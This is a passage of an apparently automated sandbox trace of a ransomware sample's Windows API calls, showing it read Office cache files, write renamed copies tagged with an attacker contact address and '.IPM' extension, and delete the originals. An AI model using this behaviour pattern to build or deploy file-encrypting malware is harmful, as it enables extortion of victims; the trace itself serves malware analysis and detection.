lpNumberOfBytesWritten=0x2dafc9c*=0xf2, lpOverlapped=0x0) returned 1 [0071.918] SetEndOfFile (hFile=0x1e4) returned 1 [0071.919] CloseHandle (hObject=0x1e4) returned 1 [0071.920] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0071.920] SetEndOfFile (hFile=0x1e8) returned 1 [0071.922] CloseHandle (hObject=0x1e8) returned 1 [0071.922] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0071.922] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0071.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0071.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0071.923] lstrlenW (lpString=".doc") returned 4 [0071.923] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.923] lstrlenW (lpString=".docx") returned 5 [0071.923] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0071.923] lstrlenW (lpString=".pdf") returned 4 [0071.923] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.923] lstrlenW (lpString=".xls") returned 4 [0071.923] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.923] lstrlenW (lpString=".xlsx") returned 5 [0071.923] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0071.924] lstrlenW (lpString=".ppt") returned 4 [0071.924] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0071.924] lstrlenW (lpString=".zip") returned 4 [0071.924] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.924] lstrlenW (lpString=".rar") returned 4 [0071.924] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.924] lstrlenW (lpString=".bz2") returned 4 [0071.924] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.924] lstrlenW (lpString=".7z") returned 3 [0071.924] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0071.924] lstrlenW (lpString=".dbf") returned 4 [0071.924] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0071.924] lstrlenW (lpString=".1cd") returned 4 [0071.925] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0071.925] lstrlenW (lpString=".jpg") returned 4 [0071.925] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0071.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0071.925] lstrlenW (lpString=".doc") returned 4 [0071.925] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.925] lstrlenW (lpString=".docx") returned 5 [0071.925] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0071.925] lstrlenW (lpString=".pdf") returned 4 [0071.925] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.925] lstrlenW (lpString=".xls") returned 4 [0071.925] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.925] lstrlenW (lpString=".xlsx") returned 5 [0071.926] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0071.926] lstrlenW (lpString=".ppt") returned 4 [0071.926] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0071.926] lstrlenW (lpString=".zip") returned 4 [0071.926] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.926] lstrlenW (lpString=".rar") returned 4 [0071.926] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.926] lstrlenW (lpString=".bz2") returned 4 [0071.926] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.926] lstrlenW (lpString=".7z") returned 3 [0071.926] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0071.926] lstrlenW (lpString=".dbf") returned 4 [0071.926] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0071.927] lstrlenW (lpString=".1cd") returned 4 [0071.927] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0071.927] lstrlenW (lpString=".jpg") returned 4 [0071.927] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.927] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0071.927] lstrlenW (lpString="Setup.xml") returned 9 [0071.927] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.928] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2362) returned 1 [0071.928] CloseHandle (hObject=0x1e8) returned 1 [0071.928] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0071.928] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0071.928] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.929] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0071.929] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0071.929] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0071.929] GetLastError () returned 0x0 [0071.929] ReadFile (in: hFile=0x1e8, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x93a, lpOverlapped=0x0) returned 1 [0072.408] WriteFile (in: hFile=0x1e4, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x940, lpOverlapped=0x0) returned 1 [0072.410] ReadFile (in: hFile=0x1e8, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0072.416] WriteFile (in: hFile=0x1e4, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0072.416] SetEndOfFile (hFile=0x1e4) returned 1 [0072.416] CloseHandle (hObject=0x1e4) returned 1 [0072.420] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0072.421] SetEndOfFile (hFile=0x1e8) returned 1 [0072.422] CloseHandle (hObject=0x1e8) returned 1 [0072.423] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0072.423] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0072.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.424] lstrlenW (lpString=".doc") returned 4 [0072.424] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.424] lstrlenW (lpString=".docx") returned 5 [0072.424] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0072.424] lstrlenW (lpString=".pdf") returned 4 [0072.424] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.424] lstrlenW (lpString=".xls") returned 4 [0072.424] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.424] lstrlenW (lpString=".xlsx") returned 5 [0072.424] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0072.425] lstrlenW (lpString=".ppt") returned 4 [0072.425] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.425] lstrlenW (lpString=".zip") returned 4 [0072.425] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.425] lstrlenW (lpString=".rar") returned 4 [0072.425] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.425] lstrlenW (lpString=".bz2") returned 4 [0072.425] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.425] lstrlenW (lpString=".7z") returned 3 [0072.425] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.425] lstrlenW (lpString=".dbf") returned 4 [0072.425] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.425] lstrlenW (lpString=".1cd") returned 4 [0072.426] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.426] lstrlenW (lpString=".jpg") returned 4 [0072.426] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.426] lstrlenW (lpString=".doc") returned 4 [0072.426] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.426] lstrlenW (lpString=".docx") returned 5 [0072.426] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0072.426] lstrlenW (lpString=".pdf") returned 4 [0072.426] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.426] lstrlenW (lpString=".xls") returned 4 [0072.426] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.426] lstrlenW (lpString=".xlsx") returned 5 [0072.426] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0072.426] lstrlenW (lpString=".ppt") returned 4 [0072.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.427] lstrlenW (lpString=".zip") returned 4 [0072.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.427] lstrlenW (lpString=".rar") returned 4 [0072.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.427] lstrlenW (lpString=".bz2") returned 4 [0072.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.427] lstrlenW (lpString=".7z") returned 3 [0072.427] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.427] lstrlenW (lpString=".dbf") returned 4 [0072.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.427] lstrlenW (lpString=".1cd") returned 4 [0072.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0072.427] lstrlenW (lpString=".jpg") returned 4 [0072.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.428] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0072.428] lstrlenW (lpString="VisioMUI.xml") returned 12 [0072.428] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0072.844] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=9503) returned 1 [0072.844] CloseHandle (hObject=0x1d0) returned 1 [0072.848] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0072.848] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0072.849] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0072.849] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0072.849] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0072.849] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0072.854] GetLastError () returned 0x0 [0072.854] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x251f, lpOverlapped=0x0) returned 1 [0072.896] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x2520, lpOverlapped=0x0) returned 1 [0072.898] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0072.898] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xec, lpOverlapped=0x0) returned 1 [0072.898] SetEndOfFile (hFile=0x1d8) returned 1 [0072.898] CloseHandle (hObject=0x1d8) returned 1 [0072.900] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0072.900] SetEndOfFile (hFile=0x1d0) returned 1 [0072.902] CloseHandle (hObject=0x1d0) returned 1 [0072.902] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0072.903] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0072.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0072.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0072.903] lstrlenW (lpString=".doc") returned 4 [0072.903] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.903] lstrlenW (lpString=".docx") returned 5 [0072.903] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0072.903] lstrlenW (lpString=".pdf") returned 4 [0072.903] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.903] lstrlenW (lpString=".xls") returned 4 [0072.904] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.904] lstrlenW (lpString=".xlsx") returned 5 [0072.904] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0072.904] lstrlenW (lpString=".ppt") returned 4 [0072.904] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0072.904] lstrlenW (lpString=".zip") returned 4 [0072.904] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.904] lstrlenW (lpString=".rar") returned 4 [0072.904] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.904] lstrlenW (lpString=".bz2") returned 4 [0072.904] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.904] lstrlenW (lpString=".7z") returned 3 [0072.904] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0072.904] lstrlenW (lpString=".dbf") returned 4 [0072.904] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0072.905] lstrlenW (lpString=".1cd") returned 4 [0072.905] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0072.905] lstrlenW (lpString=".jpg") returned 4 [0072.905] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0072.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0072.905] lstrlenW (lpString=".doc") returned 4 [0072.905] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.905] lstrlenW (lpString=".docx") returned 5 [0072.905] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0072.905] lstrlenW (lpString=".pdf") returned 4 [0072.905] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.905] lstrlenW (lpString=".xls") returned 4 [0072.905] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.905] lstrlenW (lpString=".xlsx") returned 5 [0072.905] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0072.905] lstrlenW (lpString=".ppt") returned 4 [0072.906] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0072.906] lstrlenW (lpString=".zip") returned 4 [0072.906] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.906] lstrlenW (lpString=".rar") returned 4 [0072.906] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.906] lstrlenW (lpString=".bz2") returned 4 [0072.906] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.906] lstrlenW (lpString=".7z") returned 3 [0072.906] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0072.906] lstrlenW (lpString=".dbf") returned 4 [0072.906] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0072.906] lstrlenW (lpString=".1cd") returned 4 [0072.906] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0072.906] lstrlenW (lpString=".jpg") returned 4 [0072.906] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.907] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0072.907] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0072.907] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0072.910] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=913) returned 1 [0072.910] CloseHandle (hObject=0x1d0) returned 1 [0072.910] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0072.910] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0072.911] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0072.911] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0072.911] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0072.911] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0072.911] GetLastError () returned 0x0 [0072.912] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x391, lpOverlapped=0x0) returned 1 [0072.916] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0072.918] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, 